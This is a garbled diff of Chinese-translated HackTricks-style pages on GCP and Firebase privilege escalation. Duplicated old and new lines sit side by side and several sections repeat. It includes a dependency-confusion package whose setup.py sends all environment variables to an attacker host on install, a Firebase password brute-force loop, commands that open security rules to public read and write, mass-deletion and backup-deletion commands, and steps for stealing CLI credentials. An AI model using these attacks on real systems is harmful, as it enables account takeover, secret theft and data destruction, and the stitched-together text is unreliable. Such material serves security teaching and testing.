删除整个存储库(即使其中有内容):
<details>
<summary>删除 Artifact Registry 库</summary>
<summary>删除 Artifact Registry 存储库</summary>
```
gcloud artifacts repositories delete <repo-name> --location=<location>
```
@@ -201,17 +201,71 @@ gcloud artifacts repositories delete <repo-name> --location=<location>
### `artifactregistry.repositories.setIamPolicy`
有此权限的攻击者可以赋予自己执行前提到的一些仓库攻击的权限。
有此权限的攻击者可以赋予自己执行前提到的一些仓库攻击的权限。
### Pivoting to other Services through Artifact Registry Read & Write
- **Cloud Functions**
当创建 Cloud Function 时,会将新的 docker image 推送到该项目的 Artifact Registry。我尝试用新的镜像修改该 image,甚至删除当前镜像(以及 `cache` image),但什么都没有改变,Cloud Function 继续工作。因此,可能像 bucket 的情况一样,**可能可以滥用 Race Condition 攻击**更改将要运行的 docker 容器,但**仅仅修改存储的镜像无法用来攻破 Cloud Function**。
当创建 Cloud Function 时,会将一个新的 docker image 推送到该项目的 Artifact Registry。我尝试用一个新的镜像修改,甚至删除当前镜像(以及 `cache` 镜像),但没有任何变化,cloud function 继续正常工作。因此,可能像 bucket 中那样可以**通过 Race Condition attack**更改将要运行的 docker 容器,但**仅仅修改存储的镜像并不能用于入侵 Cloud Function**。
- **App Engine**
尽管 App Engine 会在 Artifact Registry 中创建 docker images。测试显示**即便你在该服务中修改镜像**并移除 App Engine 实例(因此会部署一个新的实例),**实际执行的代码不会改变**。\
可能像对 buckets 那样通过执行 **Race Condition 攻击** 有可能覆盖被执行的代码,但这并未经过测试。
尽管 App Engine 会在 Artifact Registry 中创建 docker images。测试,**即使你修改该服务中镜像**并移除 App Engine 实例(因此会部署新的实例),**实际执行的代码不会改变**。\\ 可能通过像对 buckets 那样的 **Race Condition attack** 覆盖被执行的代码,但这未经过测试。
### `artifactregistry.repositories.update`
攻击者不需要特定的 Artifact Registry 权限即可利用此问题——只需要一个易受攻击的虚拟仓库配置。当一个虚拟仓库将一个远程公共仓库(例如 PyPI、npm)与一个内部仓库合并,且远程源的优先级相同或更高时,就会出现这种情况。如果两者都包含同名包,系统会选择版本号最高的那个。攻击者只需知道内部包名并能向相应的公共注册表发布包即可。
拥有 `artifactregistry.repositories.update` 权限的攻击者可以更改虚拟仓库的上游设置,故意创建这种易受攻击的配置,并通过插入恶意包(开发者或 CI/CD 系统可能会自动安装这些包)来利用 Dependency Confusion 作为持久化手段。
攻击者在公共仓库中创建一个版本号更高的内部包的恶意版本。对于 Python 包,这意味着准备一个模仿合法包结构的包。
```bash
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
```
然后创建一个 setup.py 文件,里面包含将在安装过程中运行的恶意代码。该文件必须指定一个高于私有仓库中版本的版本号。
```bash
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse
def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)
class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()
setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
```
构建该包并删除 wheel 文件,以确保在安装过程中执行代码。
```bash
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
```
将恶意包上传到公共仓库(例如 Python 的 test.pypi.org)。
```bash
pip install twine
twine upload --repository testpypi dist/*
```
当系统或服务通过虚拟仓库安装该软件包时,它会从公共仓库下载恶意版本,而不是来自合法的内部仓库,因为恶意版本的版本号更高且远程仓库具有相同或更高的优先级。
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## cloudfunctions
关于 Cloud Functions 的更多信息:
更多关于 Cloud Functions 的信息:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,21 +12,18 @@
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
拥有这些权限的攻击者可以 **创建一个新的 Cloud Function,部署任意(恶意)代码并分配一个 Service Account**。然后,从 metadata 中 leak Service Account token,以提升到该账号的权限。\
触发函数可能还需要一些额外的权限。
拥有这些权限的攻击者可以 **创建一个新的 Cloud Function,部署任意(恶意)代码并分配一个 Service Account**。然后,从元数据中 leak Service Account token 来提升为该 Service Account 的权限。\ 触发该函数可能还需要一些权限。
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
该方法的 Exploit scripts 可以在 [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) 找到,预构建的 .zip 文件可以在 [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions) 找到。
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
拥有这些权限的攻击者可以 **修改 Function 的代码,甚至改所附的 Service Account**,以窃取该 token 目的。
拥有这些权限的攻击者可以 **修改 Function 的代码,甚至改所附的 Service Account**,以达到 exfiltrating the token 目的。
> [!CAUTION]
> 为了部署 Cloud Functions,你还需要对默认的 compute service account 或用于构建镜像的 service account 拥有 actAs 权限。
> 为了部署 cloud functions,你还需要对默认的 compute service account 或用于构建镜像的 service account 拥有 actAs 权限。
一些额外权限可能也是必需的,例如针对 version 1 cloudfunctions 的 `.call` 权限,或用于触发函数的角色 `role/run.invoker`
<details><summary>更新 Cloud Function 为恶意代码以外泄 Service Account token</summary>
可能还需要一些额外权限,例如针对版本 1 的 cloudfunctions 的 `.call` 权限,或用于触发函数的角色 `role/run.invoker`
```bash
# Create new code
temp_dir=$(mktemp -d)
@@ -56,18 +53,14 @@ gcloud functions deploy <cloudfunction-name> \
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
```
</details>
> [!CAUTION]
> 如果你遇到错误 `Permission 'run.services.setIamPolicy' denied on resource...`,这是因为使用了 `--allow-unauthenticated` 参数,但你没有足够的权限。
> 如果出现错误 `Permission 'run.services.setIamPolicy' denied on resource...` 是因为使用了 `--allow-unauthenticated` 参数并且没有足够的权限。
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
### `cloudfunctions.functions.sourceCodeSet`
拥有此权限可以获一个 **signed URL**,用于向 function bucket 上传文件(但函数的代码不会被更改,你仍然需要更新它)
<details><summary>为 Cloud Function 生成 signed upload URL</summary>
拥有此权限,您可以获一个**签名 URL 来向函数的 bucket 上传文件(但函数的代码不会被更改,您仍需要更新它)**
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
@@ -75,38 +68,49 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
-H "Content-Type: application/json" \
-d '{}'
```
</details>
不太确定单独拥有这个权限从攻击者角度有多大用处,但值得知道。
不太确定从 attackers 的角度来看只有这个权限有多大用处,但值得知道。
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
给自己任意之前提到的 **`.update`** 或 **`.create`** 权限以提升权限
给自己任何上述 **`.update`** 或 **`.create`** 权限以进行 escalate
```bash
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"
```
### `cloudfunctions.functions.update`
仅拥有 **`cloudfunctions`** 权限而没有 **`iam.serviceAccounts.actAs`**,你 **无法更新函数,所以这不是一个有效的 PRIVESC。**
仅拥有 **`cloudfunctions`** 权限而没有 **`iam.serviceAccounts.actAs`**,你无法更新函数,因此这不是一个有效的 PRIVESC。
### Read & Write Access over the bucket
### 调用函数
拥有 `cloudfunctions.functions.get``cloudfunctions.functions.invoke``run.jobs.run` 和 run.routes.invoke 权限的身份可以直接调用 Cloud Functions。函数还必须允许公共流量,或者调用者必须与函数位于相同的网络内。
```bash
curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{ "name": "Developer" }'
```
### 对 bucket 的读写访问
如果你对该 bucket 有读写权限,你可以监视代码的更,并且每当 **bucket 发生更新时,你可以用自己的代码替换代码**这样新的 Cloud Function 版本就会运行你提交的带后门代码。
如果你对该 bucket 有读写权限,你可以监视代码的更,并且每当 **bucket 发生更新时,你可以将新代码替换为你的代码**使得新版本的 Cloud Function 会以你提交的带后门代码运行
你可以在以下文档中了解更多关于该攻击的信息:
你可以在以下内容中了解更多关于该攻击的信息:
{{#ref}}
gcp-storage-privesc.md
{{#endref}}
但是,你不能用这个方法预先妥协第三方 Cloud Functions,因为如果你在自己的账中创建 bucket 并赋予公开权限以便外部项目可以写入,你会收到如下错误:
然而,你无法利用此方法预先入侵第三方 Cloud Functions如果你在自己的账中创建 bucket 并赋予公开权限以便外部项目可以写入,你会遇到以下错误:
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
> [!CAUTION]
> 不过,这可能被用于 DoS 攻击。
> 不过,这可能被用于 DoS 攻击。
### Read & Write Access over Artifact Registry
### Artifact Registry 的读写访问
当创建 Cloud Function 时,会向项目的 Artifact Registry 推送一个新的 docker 镜像。我尝试用新镜像修改该镜像,甚至删除当前镜像( `cache` 镜像),但没有任何变,Cloud Function 仍然继续工作。因此,也许有可能像对 bucket 那样利用 **Race Condition 攻击**更改将被运行的 docker 容器,但**仅仅修改存储的镜像并不能用来妥协 Cloud Function**。
当创建 Cloud Function 时,会向项目的 Artifact Registry 推送一个新的 docker image。我尝试用新的镜像替换它,甚至删除当前镜像(以及 `cache` 镜像),但没有任何变Cloud Function 仍然继续运行。因此,可能可以像对 bucket 的方法那样利用 **Race Condition 攻击**改变将要运行的 docker 容器,但 **仅仅修改存储的镜像并不能用来攻陷 Cloud Function**
## 参考资料
@@ -0,0 +1,445 @@
# GCP - Firebase Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Firebase
### 未认证访问 Firebase Realtime Database
攻击者无需任何特定的 Firebase 权限即可实施此攻击。前提是 Firebase Realtime Database 的安全规则存在弱点,即规则被设置为 `.read: true``.write: true`,允许公开的读取或写入访问。
攻击者必须识别数据库 URL,通常格式为:`https://<project-id>.firebaseio.com/`
可以通过 mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps)、分析配置文件(例如 google-services.json (Android) 或 GoogleService-Info.plist (iOS))、检查 web 应用的源代码,或检查网络流量以定位对 `*.firebaseio.com` 域的请求来找到该 URL。
攻击者确认数据库 URL 并检查其是否公开暴露,然后访问数据并可能写入恶意内容。
首先,他们通过在 URL 后追加 .json 来检查数据库是否允许读取访问。
```bash
curl https://<project-id>-default-rtdb.firebaseio.com/.json
```
如果响应包含 JSON 数据或 null(而不是 "Permission Denied"),数据库就允许读取访问。要检查写入访问,attacker 可以尝试使用 Firebase REST API 发送一个测试写入请求。
```bash
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
```
如果操作成功,数据库还会允许写入访问。
### Cloud Firestore 中的数据暴露
攻击者不需要任何特定的 Firebase 权限即可执行此攻击。它仅要求 Cloud Firestore 安全规则中存在易受攻击的配置,即规则在未认证或验证不足的情况下允许读取或写入访问。一个授予完全访问权限的错误配置规则示例是:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
该规则允许任何人无限制地读取和写入所有文档。Firestore 规则具有粒度性,并按 collection 和 document 应用,因此特定规则中的错误可能只会暴露某些集合。
攻击者必须识别 Firebase Project ID,可通过 mobile app reverse engineering、分析配置文件(例如 google-services.json 或 GoogleService-Info.plist)、检查 web 应用的源代码,或分析网络流量以识别对 firestore.googleapis.com 的请求来找到。
Firestore REST API 使用的格式为:
```bash
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
如果规则允许未认证的读取访问,攻击者可以读取集合和文档。首先,他们尝试访问一个特定的集合:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
```
如果响应包含 JSON 文档而不是 permission error,则该 collection 暴露。攻击者可以通过尝试常见名称或分析应用的结构来枚举所有可访问的 collections。要访问特定 document
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
如果规则允许未认证的写入访问或验证不足,攻击者可以创建新的文档:
```bash
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'
```
要修改现有文档,应使用 PATCH
```bash
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'
```
用于删除文档并造成拒绝服务:
```bash
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
### Firebase Storage 中文件暴露
攻击者不需要任何特定的 Firebase 权限就能执行此攻击。只要 Firebase Storage 的 security rules 存在易受攻击的配置,即规则在未认证或验证不足的情况下允许 read 或 write access,就足以被利用。Storage rules 独立控制 read 和 write 权限,因此规则中的错误可能仅暴露 read 权限、仅暴露 write 权限,或两者皆暴露。下面是一个授予 full access 的错误配置示例:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
该规则允许对所有文档进行读写访问,没有任何限制。Firestore 规则是细粒度的,并按集合和文档逐一应用,因此特定规则的错误可能只会暴露某些集合。攻击者需要识别 Firebase Project ID,可通过对移动应用进行逆向工程、分析配置文件(例如 google-services.json 或 GoogleService-Info.plist)、检查 web 应用源码,或通过网络流量分析识别对 firestore.googleapis.com 的请求来发现。
The Firestore REST API uses the format:`https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
如果规则允许未认证的读取访问,攻击者就可以读取集合和文档。首先,他们会尝试访问特定集合。
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
```
如果响应包含文件列表而不是权限错误,则该文件被暴露。attacker 可以通过指定其路径来查看文件内容:
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
```
如果规则允许未认证的写入访问或校验不足,攻击者可以上传恶意文件。要通过 REST API 上传文件:
```bash
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>
```
攻击者可以上传 code shells、malware payloads 或大型文件 来导致 a denial of service。如果应用处理或执行上传的文件,攻击者可能实现 remote code execution。要删除文件并造成 a denial of service
```bash
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
```
### 调用公开的 Firebase Cloud Functions
An attacker 不需要任何特定的 Firebase 权限来利用此问题;只要该 Cloud Function 在 HTTP 上公开可访问且无需身份验证即可。
当配置不安全时,函数容易受到攻击:
- 它使用 functions.https.onRequest,该方法不强制身份验证(不同于 onCall functions)。
- 该函数的代码不验证用户身份(例如,没有检查 request.auth 或 context.auth)。
- 该函数在 IAM 中公开可访问,即 allUsers 拥有 roles/cloudfunctions.invoker 角色。对于 HTTP functions,这是默认行为,除非开发者限制访问。
Firebase HTTP Cloud Functions 通过如下 URL 暴露:
- https://<region>-<project-id>.cloudfunctions.net/<function-name>
- https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)
An attacker 可以通过源代码分析、网络流量检查、枚举工具或移动应用逆向工程发现这些 URL。
如果该函数公开暴露且无需认证,attacker 可以在不提供凭据的情况下直接调用它。
```bash
# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'
```
如果该函数未正确验证输入,攻击者可能会尝试其他攻击,例如 code injection 或 command injection。
### Brute-force attack against Firebase Authentication(密码策略较弱)
攻击者不需要任何特定的 Firebase 权限即可发起此攻击。只要 Firebase API Key 在移动或 web 应用中暴露,并且密码策略未被配置为比默认更严格的要求,即可实施。
攻击者必须识别 Firebase API Key,可以通过 mobile app reverse engineering、分析诸如 google-services.json 或 GoogleService-Info.plist 之类的配置文件、检查 web 应用的源代码(例如在 bootstrap.js 中),或分析网络流量来发现。
Firebase Authentication 的 REST API 使用端点:
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
来使用电子邮件和密码进行认证。
如果 Email Enumeration Protection 被禁用,API 错误响应可能会泄露电子邮件是否存在于系统中(EMAIL_NOT_FOUND vs. INVALID_PASSWORD),这使攻击者可以在尝试猜密码之前枚举用户。当该保护启用时,API 对不存在的电子邮件和错误密码返回相同的错误消息,从而防止了用户枚举。
需要注意的是,Firebase Authentication 会实施速率限制,如果在短时间内发生过多的认证尝试,可能会阻止请求。因此,攻击者必须在尝试之间引入延迟以避免被速率限制。
攻击者识别 API Key,并针对已知账户使用多个密码进行认证尝试。如果 Email Enumeration Protection 被禁用,攻击者可以通过分析错误响应来枚举现有用户:
```bash
# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'
```
如果响应包含 EMAIL_NOT_FOUND,则该电子邮件在系统中不存在。如果响应包含 INVALID_PASSWORD,则该电子邮箱存在,但密码不正确,从而确认该用户已注册。一旦确认有效用户,攻击者可以执行 brute-force 尝试。在尝试之间加入暂停以避免触发 Firebase Authentication 的速率限制机制非常重要:
```bash
counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")
if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi
# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done
```
在默认的密码策略下(最少 6 个字符,无复杂性要求),攻击者可以尝试所有可能的 6 字符密码组合。与更严格的密码策略相比,这代表了相对较小的搜索空间。
### Firebase Authentication 中的用户管理
攻击者需要特定的 Firebase Authentication 权限来执行此攻击。所需的权限包括:
- `firebaseauth.users.create` 用于创建用户
- `firebaseauth.users.update` 用于修改现有用户
- `firebaseauth.users.delete` 用于删除用户
- `firebaseauth.users.get` 用于检索用户信息
- `firebaseauth.users.sendEmail` 用于向用户发送电子邮件
- `firebaseauth.users.createSession` 用于创建用户会话
这些权限包含在 `roles/firebaseauth.admin` 角色中,该角色授予对 Firebase Authentication 资源的完整读/写访问权限。它们也包含在更高级别的角色中,例如 roles/firebase.developAdmin(其中包含所有 firebaseauth.* 权限)和 roles/firebase.admin(对所有 Firebase 服务的完全访问权限)。
要使用 Firebase Admin SDK,攻击者需要访问服务帐号凭证(JSON 文件),这些凭证可能存在于被攻陷的系统、公开暴露的代码仓库、被攻陷的 CI/CD 系统,或通过被攻陷的有权访问这些凭证的开发者帐号获取。
第一步是使用服务帐号凭证配置 Firebase Admin SDK。
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
为了用受害者的邮箱创建一个恶意用户,攻击者会尝试使用 Firebase Admin SDK 为该邮箱生成一个新账户。
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
要修改现有用户,攻击者会更新诸如电子邮件地址、验证状态或账号是否被禁用等字段。
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
为了删除用户账户并造成 denial of serviceattacker 会发出请求以完全移除该用户。
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
攻击者也可以通过请求用户的 UID 或 email address 来检索现有用户的信息。
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
此外,攻击者还可以生成验证链接或密码重置链接,以更改用户的密码并访问其账户。
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Firebase Authentication 中的用户管理
攻击者需要特定的 Firebase Authentication 权限来执行此攻击。所需权限为:
- `firebaseauth.users.create` to create users
- `firebaseauth.users.update` to modify existing users
- `firebaseauth.users.delete` to delete users
- `firebaseauth.users.get` to obtain user information
- `firebaseauth.users.sendEmail` to send emails to users
- `firebaseauth.users.createSession` to create user sessions
这些权限包含在 `roles/firebaseauth.admin` 角色中,该角色授予对 Firebase Authentication 资源的完全读/写访问权限。它们也属于更高级别的角色,例如 `roles/firebase.developAdmin`(包含所有 firebaseauth.* 权限)和 `roles/firebase.admin`(对所有 Firebase 服务的完全访问权限)。
要使用 Firebase Admin SDK,攻击者需要访问 service account credentials(一个 JSON 文件),这些凭据可能来自被攻陷的系统、公开暴露的代码仓库、被攻破的 CI/CD 环境,或通过被攻破的具有这些凭据访问权限的开发者账号获得。
第一步是使用 service account credentials 配置 Firebase Admin SDK。
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
为了使用受害者的电子邮件创建恶意用户,攻击者会尝试用该电子邮件创建一个新的用户账户,并为其设置自己的密码和个人资料信息。
```bash
user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')
```
要修改现有用户,attacker 会更改诸如电子邮件地址、验证状态或帐户是否被禁用等字段。
```bash
user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
为了删除一个用户账户——实际上导致 denial of service——attacker 会发出请求以永久删除该用户。
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
攻击者还可以通过按 UID 或 email 请求用户详细信息来检索现有用户的信息,例如其 UID 或 email。
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
此外,攻击者可以生成 verification links 或 password-reset links,从而更改用户的密码并接管该账户。
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### 在 Firebase 服务中修改安全规则
攻击者需要根据不同服务拥有特定权限才能修改安全规则。对于 Cloud Firestore 和 Firebase Cloud Storage,所需权限为 `firebaserules.rulesets.create`(用于创建 rulesets)和 `firebaserules.releases.create`(用于部署 releases)。这些权限包含在 `roles/firebaserules.admin` 角色中,或包含于更高权限角色,例如 `roles/firebase.developAdmin``roles/firebase.admin`。对于 Firebase Realtime Database,所需权限为 `firebasedatabase.instances.update`
攻击者必须使用 Firebase REST API 来修改安全规则。首先,攻击者需要使用 service account credentials 获取 access token。要获取该 token
```bash
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)
```
要修改 Firebase Realtime Database 规则:
```bash
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'
```
要修改 Cloud Firestore 规则,攻击者必须先创建一个规则集,然后部署它:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n match /databases/{database}/documents {\n match /{document=**} {\n allow read, write: if true;\n }\n }\n}"
}]
}
}'
```
上一个命令返回一个规则集名称,格式为 projects/<project-id>/rulesets/<ruleset-id>。要部署新版本,必须使用 PATCH 请求更新 release
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
要修改 Firebase Cloud Storage 规则:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n match /b/{bucket}/o {\n match /{allPaths=**} {\n allow read, write: if true;\n }\n }\n}"
}]
}
}'
```
上一个命令返回一个规则集名称,格式为 projects/<project-id>/rulesets/<ruleset-id>。要部署新版本,必须使用 PATCH 请求更新 release
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'
```
### Cloud Firestore 中的数据外泄与操作
Cloud Firestore 使用与 Cloud Datastore 相同的基础设施和权限系统,因此 Datastore IAM permissions 直接适用于 Firestore。要操作 TTL 策略,需要 `datastore.indexes.update` 权限。要导出数据,需要 `datastore.databases.export` 权限。要导入数据,需要 datastore.databases.import 权限。要执行批量数据删除,需要 `datastore.databases.bulkDelete` 权限。
对于备份和还原操作,需要特定权限:
- `datastore.backups.get``datastore.backups.list` 用于列出并检索可用备份的详细信息
- `datastore.backups.delete` 用于删除备份
- `datastore.backups.restoreDatabase` 用于从备份还原数据库
- `datastore.backupSchedules.create``datastore.backupSchedules.delete` 用于管理备份计划
创建 TTL 策略时,会选择一个指定的属性来标识有资格被删除的实体。该 TTL 属性必须为日期和时间类型。攻击者可以选择一个已存在的属性,或指定一个他们计划稍后添加的属性。如果该字段的值是过去的日期,文档将有资格立即被删除。攻击者可以使用 gcloud CLI 来操作 TTL 策略。
```bash
# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl
```
为了导出数据并将其外传,攻击者可以使用 gcloud CLI。
```bash
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
```
要导入恶意数据:
```bash
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
```
为了执行大规模数据删除并造成 denial of service,攻击者可以使用 gcloud Firestore bulk-delete tool 来删除整个集合。
```bash
gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>
```
对于备份和恢复操作,攻击者可以创建计划的 backups 来捕获数据库的当前状态、列出现有 backups、从 backup 恢复以覆盖最近的更改、删除 backups 以造成永久数据丢失,以及移除计划的 backups。
要创建一个每天运行并立即生成 backup 的计划:
```bash
gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>
```
要从特定的备份恢复,攻击者可以使用该备份中包含的数据创建一个新的数据库。恢复操作会将备份的数据写入一个新的数据库,这意味着不能使用已存在的 DATABASE_ID。
```bash
gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>
```
要删除备份并导致永久数据丢失:
```bash
gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>
```
### Firebase CLI 凭据的窃取与滥用
攻击者不需要特定的 Firebase 权限来执行此攻击,但他们需要访问开发者的本地系统或 Firebase CLI 凭据文件。这些凭据存储在一个 JSON 文件中,位置为:
- Linux/macOS: ~/.config/configstore/firebase-tools.json
- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
该文件包含认证令牌,包括 refresh_token 和 access_token,这些令牌允许攻击者以最初运行 firebase login 的用户身份进行认证。
攻击者获取到 Firebase CLI 凭据文件后,可以将整个文件复制到自己的系统,Firebase CLI 会自动从其默认位置使用这些凭据。这样一来,攻击者就可以查看该用户可访问的所有 Firebase 项目。
```bash
firebase projects:list
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## IAM
